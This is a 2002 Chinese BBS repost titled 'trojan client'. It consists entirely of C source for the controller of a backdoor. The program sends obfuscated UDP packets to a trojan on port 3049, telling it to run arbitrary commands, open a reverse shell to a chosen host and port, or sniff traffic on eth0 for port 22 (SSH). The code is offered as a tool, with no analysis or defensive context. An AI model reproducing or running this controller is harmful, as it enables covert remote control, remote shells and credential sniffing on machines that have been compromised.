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发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标 题: trojan client(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:09:50 2002), 转信
【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标 题: trojan client
发信站: UNIX编程 (Mon Apr 15 17:48:35 2002) , 转信
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
static double checksum(const unsigned char *buf,int buflen)
{
register int i;
double sum;
for (i=0,sum=0.0; i < buflen; i++) {
sum += (unsigned char)~((buf[i] << 4) + (buf[i] >> 4));
}
return sum/buflen;
}
static void transform(unsigned char *buf,int buflen)
{
register int i;
for (i=0; i<buflen; i++) {
buf[i] = (buf[i] | 0xf) - (buf[i] & 0xf);
}
}
static void exec_cmd(int s,const char *cmd)
{
char buf[140],*data = &buf[12];
double sum;
memset(buf,0,140);
strcpy(buf,"\x10\xea\xff\xbf");
strncpy(data,cmd,127);
transform(data,128);
sum = checksum(data,128);
memcpy(buf+4,&sum,sizeof(sum));
send(s,buf,140,0);
}
static void reverse_shell(int s)
{
char buf[140],*data = &buf[12];
double sum;
long addr,port;
memset(buf,0,140);
strcpy(buf,"\x21\x21\xaf\xbf");
addr = inet_addr("127.0.0.1");
memcpy(data,&addr,4);
port = 6666;
memcpy(data+4,&port,4);
transform(data,128);
sum = checksum(data,128);
memcpy(buf+4,&sum,sizeof(sum));
send(s,buf,140,0);
}
static void sniff_eth(int s)
{
char buf[140],*data = &buf[12];
double sum;
long addr,port;
int n = IPPROTO_TCP;
memset(buf,0,140);
strcpy(buf,"\x60\x3e\xff\xbf");
//host[4] + port[4] + ifname[16] + port[4] + ascmode[1]
addr = inet_addr("127.0.0.1");
memcpy(data,&addr,4);
port = 6666;
memcpy(data+4,&port,4);
strcpy(data+8,"eth0");
memcpy(data+24,&n,4);
n = 22;
memcpy(data+28,&n,4);
n = 1;
memcpy(data+32,&n,4);
transform(data,128);
sum = checksum(data,128);
memcpy(buf+4,&sum,sizeof(sum));
send(s,buf,140,0);
}
int main(int argc,char **argv)
{
int s;
struct sockaddr_in host;
if ((s = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
perror("socket");
return -1;
}
host.sin_family = AF_INET;
host.sin_port = htons(3049);
host.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(s,(struct sockaddr*)&host,sizeof(host));
//exec_cmd(s,argv[1]?:"touch /HACKERD");
sniff_eth(s);
close(s);
return 0;
}
--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 211.100.81.1]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]
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